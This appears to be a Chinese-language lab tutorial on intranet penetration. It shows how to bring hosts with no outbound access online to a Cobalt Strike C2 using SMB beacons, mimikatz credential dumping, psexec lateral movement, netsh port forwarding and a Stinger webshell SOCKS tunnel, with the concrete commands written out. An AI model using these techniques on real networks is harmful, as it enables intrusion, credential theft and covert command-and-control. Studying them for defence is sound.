假设192.168.111.0/24为公网ip段,192.168.204.0/24为内网ip段
DMZ主机 虚拟机两块网卡一块设置为NAT模式,一块设置为HOSTONLY模式,可通外网
公网ip:192.168.111.132
内网ip:192.168.204.188
虚拟机网卡设置HOSTONLY模式,不通外网
内网ip:192.168.204.141
公网ip:192.168.111.129
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
1.具有 SMB Beacon 的主机必须接受 445 端口上的连接。
2.只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
3.利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
web服务器上线cs,run mimikatz抓取密码
建立listener,选择SMB beacon
在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
连接成功,可以看到smb beacon上线的主机右侧有∞∞标识
上传proxy.exe到web服务器,在8080端口开启http代理
shell C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
用netsh命令把外网ip的8080端口转发到内网ip的192.168.204.188的822端口(必须为未使用的端口,否则会失败),web服务器的80端口被占用,不能使用
shell netsh interface portproxy add v4tov4 listenaddress=192.168.204.188 listenport=822 connectaddress=192.168.111.132 connectport=8080
检测端口是否启用
netstat -ano | findstr :822
设置如下
关于stage 和 stageless的区别:
stager分阶段,第一阶段申请内存,第二件阶段向C2发起请求并接受shellcode执行
stageless不分阶段,生成时就包含了所有文件,可以避免shellcode传输不畅造成目标无法上线
成功上线
连接过程
192.168.204.141
→ 192.168.204.188:822
→ 192.168.111.132:8080
→ C2
服务端由webshell和stinger_server.exe构成,webshell只负责进行流量转发,大部分建立连接及处理数据的工作由stinger_server.exe实现,本质就是搭建了一个SOCK4代理转发流量
上传proxy.php到网站目录,正常访问返回UTF-8
上传stinger_server.exe,执行
start stinger_server.exe 0.0.0.0
Kali上执行
./stinger_client -w http://192.168.111.132:81/proxy.php -l 127.0.0.1 -p 60000
cs中新建listener,192.168.204.188为web服务器内网ip,60020为转发端口
使用psexec横向移动,选择listener为stinger,成功上线
Cobalt Strike Listener with Proxy
内网渗透:不出网渗透技巧https://www.freebuf.com/articles/web/247287.html)